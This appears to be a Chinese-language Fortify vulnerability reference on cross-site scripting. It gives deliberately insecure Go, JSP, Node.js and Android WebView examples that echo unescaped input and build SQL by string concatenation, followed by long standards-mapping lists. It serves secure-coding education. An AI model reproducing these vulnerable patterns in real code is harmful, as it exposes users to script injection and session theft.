[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞会在以下情况下发生:

1.数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。

2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。


示例 1:以下 Go 代码片段可从 HTTP 请求中读取用户名 user,并将其显示给用户。

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


如果 user 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 user 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:下面的 Go 代码片段会根据一个特定的雇员 ID 来查询数据库,并显示出相应的雇员姓名。

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者便能在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并提高多个用户受此攻击影响的可能性。XSS 漏洞利用会在网站上为访问者提供一个“留言簿”,以此开始攻击。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中反馈数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储器中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

- 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据读回到应用程序中,并包含在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:以下 JSP 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:以下 JSP 代码片段可在数据库中查询具有给定 ID 的雇员,并输出相应雇员姓名。


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

有些人认为在移动环境中,典型的 Web 应用程序漏洞(如 Cross-Site Scripting)是无意义的 -- 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。

示例 3:以下代码在 Android WebView 中启用了 JavaScript(默认情况下,JavaScript 为禁用状态),并根据从 Android Intent 接收到的值加载页面。


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


如果 url 的值以 javascript: 开头,则接下来的 JavaScript 代码将在 WebView 中的 Web 页面上下文内部执行。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

- 如Example 3 中所示,应用程序外部的源会将危险数据存储在数据库或其他数据存储中,随后这些危险数据会作为可信数据读回到应用程序并包含在动态内容中。

许多现代 Web 框架都会提供对用户输入执行验证的机制(包括 Struts 和 Struts 2)。为了突出显示未经验证的输入源,Fortify 安全编码规则包会对 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题动态重新调整优先级,即在采用框架验证机制时降低这些问题被利用的几率并提供指向相应证据的指针。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队开发了 Data Validation(数据验证)项目模板,该模板根据应用于输入源的验证机制按文件夹对问题进行了分组。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:以下 Node.js 代码片段会在 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


var http = require('http');
var url = require('url');

...

function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:下面的 Node.js 代码片段会根据给定的雇员 ID 查询数据库,并打印相应雇员的姓名。


var http = require('http');
...

function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
